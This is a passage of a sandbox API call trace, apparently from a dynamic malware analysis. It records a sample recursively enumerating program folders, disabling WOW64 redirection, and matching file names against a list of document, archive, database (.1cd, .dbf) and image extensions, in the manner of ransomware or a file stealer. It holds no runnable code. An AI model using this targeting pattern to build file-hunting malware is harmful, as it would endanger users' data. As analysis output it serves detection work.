	[0094.534] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f173508, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f173508, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.534] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0094.534] lstrlenW (lpString=".1cd") returned 4
	[0094.534] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f199665, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f199665, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.535] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0094.535] lstrlenW (lpString=".1cd") returned 4
	[0094.535] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 1
	[0094.535] lstrlenW (lpString="pushplaysubpicture.png") returned 22
	[0094.535] lstrlenW (lpString=".1cd") returned 4
	[0094.535] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f231bd9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f231bd9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d08bb61, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pushplaysubpicture.png", cAlternateFileName="")) returned 0
	[0094.535] FindClose (in: hFindFile=0x51d860 | out: hFindFile=0x51d860) returned 1
	[0094.536] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ec0130 | out: hHeap=0x4a0000) returned 1
	[0094.536] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x75ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.536] lstrlenW (lpString="Heart_ButtonGraphic.png") returned 23
	[0094.536] lstrlenW (lpString=".1cd") returned 4
	[0094.536] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea2923b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea2923b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="heart_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1
	[0094.536] lstrlenW (lpString="heart_glass_Thumbnail.bmp") returned 25
	[0094.536] lstrlenW (lpString=".1cd") returned 4
	[0094.537] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eec5c7e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eec5c7e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.537] lstrlenW (lpString="Heart_SelectionSubpicture.png") returned 29
	[0094.537] lstrlenW (lpString=".1cd") returned 4
	[0094.537] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eeebddb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eeebddb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Heart_VideoInset.png", cAlternateFileName="")) returned 1
	[0094.537] lstrlenW (lpString="Heart_VideoInset.png") returned 20
	[0094.537] lstrlenW (lpString=".1cd") returned 4
	[0094.537] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HueCycle", cAlternateFileName="")) returned 1
	[0094.537] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned 52
	[0094.537] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3ec0130
	[0094.537] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle") returned 52
	[0094.537] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d860
	[0094.545] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.545] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6faf8c48, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6faf8c48, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0094.545] lstrlenW (lpString="1047x576black.png") returned 17
	[0094.545] lstrlenW (lpString=".1cd") returned 4
	[0094.545] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb1eda5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb1eda5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1240d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0094.545] lstrlenW (lpString="15x15dot.png") returned 12
	[0094.545] lstrlenW (lpString=".1cd") returned 4
	[0094.545] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fad2aeb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fad2aeb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x43e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="colorcycle.png", cAlternateFileName="")) returned 1
	[0094.545] lstrlenW (lpString="colorcycle.png") returned 14
	[0094.545] lstrlenW (lpString=".1cd") returned 4
	[0094.546] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb44f02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb44f02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="huemainsubpicture2.png", cAlternateFileName="")) returned 1
	[0094.546] lstrlenW (lpString="huemainsubpicture2.png") returned 22
	[0094.546] lstrlenW (lpString=".1cd") returned 4
	[0094.546] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fc29730, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fc29730, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.546] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0094.546] lstrlenW (lpString=".1cd") returned 4
	[0094.546] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.546] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0094.546] lstrlenW (lpString=".1cd") returned 4
	[0094.546] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbdd476, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbdd476, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d14a237, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.546] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0094.547] lstrlenW (lpString=".1cd") returned 4
	[0094.547] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.547] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0094.547] lstrlenW (lpString=".1cd") returned 4
	[0094.547] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0094.547] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0094.547] lstrlenW (lpString=".1cd") returned 4
	[0094.547] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0094.547] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0094.547] lstrlenW (lpString=".1cd") returned 4
	[0094.547] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1
	[0094.548] lstrlenW (lpString="title_stripe.png") returned 16
	[0094.548] lstrlenW (lpString=".1cd") returned 4
	[0094.548] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0
	[0094.548] FindClose (in: hFindFile=0x51d860 | out: hFindFile=0x51d860) returned 1
	[0094.549] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3ec0130 | out: hHeap=0x4a0000) returned 1
	[0094.549] FindNextFileW (in: hFindFile=0x51d820, lpFindFileData=0x2ecf310 | out: lpFindFileData=0x2ecf310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1
	[0094.549] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned 57
	[0094.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xfffe) returned 0x3ec0130
	[0094.549] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles") returned 57
	[0094.549] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*", lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x51d860
	[0095.472] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0095.472] FindNextFileW (in: hFindFile=0x51d860, lpFindFileData=0x2ecf094 | out: lpFindFileData=0x2ecf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70bee7b2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70bee7b2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0095.472] lstrlenW (lpString="1047x576black.png") returned 17
	[0095.473] lstrlenW (lpString=".1cd") returned 4

Thread:
	id = 16
	os_tid = 0xa9c

	[0088.047] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3601038
	[0088.047] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10000) returned 0x3611040
	[0088.048] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0350
	[0088.048] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x6) returned 0x4f30b8
	[0088.048] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0368
	[0088.048] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x100000) returned 0x3a50020
	[0088.048] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0088.048] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0308, Size=0x20) returned 0x35d06f0
	[0088.049] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x10) returned 0x4f0308
	[0088.049] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4f0308, Size=0x20) returned 0x35d0718
	[0088.049] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000
	[0088.049] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650
	[0088.049] Wow64DisableWow64FsRedirection (in: OldValue=0x311ff58 | out: OldValue=0x311ff58*=0x0) returned 1
	[0088.049] lstrlenW (lpString="kernel32.dll") returned 12
	[0088.049] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d06f0 | out: hHeap=0x4a0000) returned 1
	[0088.049] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0088.049] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x35d0718 | out: hHeap=0x4a0000) returned 1
	[0088.049] Sleep (dwMilliseconds=0x64) 
	[0088.213] lstrlenW (lpString="BCD") returned 3
	[0088.213] CreateFileW (lpFileName="C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.213] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.213] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.213] lstrlenW (lpString=".doc") returned 4
	[0088.213] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0088.213] lstrlenW (lpString=".docx") returned 5
	[0088.213] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0088.213] lstrlenW (lpString=".pdf") returned 4
	[0088.213] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0088.213] lstrlenW (lpString=".xls") returned 4
	[0088.214] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString=".xlsx") returned 5
	[0088.214] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0088.214] lstrlenW (lpString=".ppt") returned 4
	[0088.214] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.214] lstrlenW (lpString=".zip") returned 4
	[0088.214] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString=".rar") returned 4
	[0088.214] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString=".bz2") returned 4
	[0088.214] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString=".7z") returned 3
	[0088.214] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0088.214] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.214] lstrlenW (lpString=".dbf") returned 4
	[0088.214] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.214] lstrlenW (lpString=".1cd") returned 4
	[0088.214] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.214] lstrlenW (lpString=".jpg") returned 4
	[0088.214] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.214] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.214] lstrlenW (lpString=".doc") returned 4
	[0088.214] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1
	[0088.214] lstrlenW (lpString=".docx") returned 5
	[0088.215] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".pdf") returned 4
	[0088.215] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".xls") returned 4
	[0088.215] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".xlsx") returned 5
	[0088.215] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".ppt") returned 4
	[0088.215] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.215] lstrlenW (lpString=".zip") returned 4
	[0088.215] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".rar") returned 4
	[0088.215] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".bz2") returned 4
	[0088.215] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString=".7z") returned 3
	[0088.215] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0088.215] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.215] lstrlenW (lpString=".dbf") returned 4
	[0088.215] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.215] lstrlenW (lpString=".1cd") returned 4
	[0088.215] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1
	[0088.215] lstrlenW (lpString="C:\\Boot\\BCD") returned 11
	[0088.215] lstrlenW (lpString=".jpg") returned 4
	[0088.215] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1
	[0088.216] lstrcmpiW (lpString1=".LOG1", lpString2=".4k") returned 1
	[0088.216] lstrlenW (lpString="BCD.LOG1") returned 8
	[0088.216] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c
	[0088.485] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x311ff1c | out: lpFileSize=0x311ff1c*=0) returned 1
	[0088.485] CloseHandle (hObject=0x16c) returned 1
	[0088.485] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.485] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0088.485] lstrlenW (lpString=".doc") returned 4
	[0088.485] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0088.485] lstrlenW (lpString=".docx") returned 5
	[0088.485] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0088.485] lstrlenW (lpString=".pdf") returned 4
	[0088.485] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString=".xls") returned 4
	[0088.486] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0088.486] lstrlenW (lpString=".xlsx") returned 5
	[0088.486] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0088.486] lstrlenW (lpString=".ppt") returned 4
	[0088.486] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
